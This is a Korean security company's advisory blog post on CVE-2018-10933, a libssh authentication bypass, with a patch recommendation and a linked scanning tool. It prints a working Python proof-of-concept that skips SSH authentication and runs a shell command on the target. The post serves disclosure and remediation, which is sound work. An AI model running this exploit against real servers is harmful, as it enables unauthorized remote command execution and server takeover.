(주)시큐어코퍼
[CVE-2018-10933] libssh 라이브러리 인증우회 취약점
"CVE-2018-10933" libssh 라이브러리 인증우회 취약점은 SSH 로그인 인증 절차 부재로 인한 발생 되는 취약점으로
공격자가 원격에서 이 취약점을 악용해 취약한 기기에서 명령어를 실행할 수 있습니다.(서버 장악)
이 취약점은 지난 주, 공개된 취약점으로 다수 Exploit Code가 공개되고 있습니다.
취약한 libssh 라이브러리를 사용하면 어떤점에서 취약점이 발생하는가?
# 취약점 발생 포인트
- libssh 라이브러를 이용하 SSH 구현이 가능 하며 원격에서 libssh를 이용한 서버 접근이 가능 합니다.
- libssh 통신 과정중 "SSH2_MSG_USERAUTH_REQUEST" 메세지를 기다리게 되는데
공격자가 "SSH2_MSG_USERAUTH_SUCCESS"를 보내면 인증 절차를 우회 하여,
정상 적으로 서버에 접근이 가능 하게 됩니다.
1: #!/usr/bin/python3 2: 3: import sys 4: import paramiko 5: import socket 6: 7: s = socket.socket() 8: s.connect(("DST IP", libssh Port)) 9: m = paramiko.message.Message() 10: t = paramiko.transport.Transport(s) 11: t.start_client() 12: m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) 13: t._send_message(m) 14: c = t.open_session(timeout=5) 15: c.exec_command("id") 16: out = c.makefile("rb",2048) 17: output = out.read() 18: out.close() 19: print (output) |
[표1] POC (Proof Of Concept)
- 위 POC는 libssh 취약점을 이용하여 Shell 명령을 실행 할 수 있는 코드
- 첨부된 "libssh vul check.zip"은 (주)시큐어코퍼 침해대응센터에서 취약점 존재 여부 점검 툴
- 툴 사용 방법
(1) ./libssh vul check.exe DST IP -p 2222
(2) ./libssh vul check..exe DST IP/24
# -p 옵션을 넣지 않을 경우 기본으로 "22","2222" 포트를 체크 하며, 대역 스캔은 DST IP설정을 1.1.1.0/24로 설정 가능
(ex) ./libssh vul check.exe 1.1.1.0/24 (1.1.1.0/24 대역을 22 포트와 2222포트 동시 체크)
- 첨부파일 : http://www.securecorp.co.kr/attachment/cfile1.uf@99386B425BD276AC38ED7D.zip
- 위 사진은 libssh.org에서 CVE-2018-10933 취약점 패치 내역
KISA 보안공지 ("LibSSH 라이브러리 보안 업데이트 권고)
# 영향 받는 제품
- LibSSH 라이브러리 0.6 이상 버전
※ GitHub에서 제공하는 LibSSH 라이브러리는 해당 취약점에 영향 받지 않음
# 해결 방안
- 제조사 홈페이지를 참고하여 최신버전으로 보안 업데이트 수행
- 0.7.6 버전으로 업데이트(0.7번대 및 이전 버전 사용자)
- 0.8.4 버전으로 업데이트(0.8번대 및 이전 버전 사용자)
[참고사이트]
- https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10933
Warning!!! 본 포스트에는 해킹 기법에 관련한 정보가 포함되어 있으며, 정보 공유 목적에 작성된 포스트 입니다. 이를 상용망에 악용할 시에는 법적 문제가 발생 할 수 있습니다.
|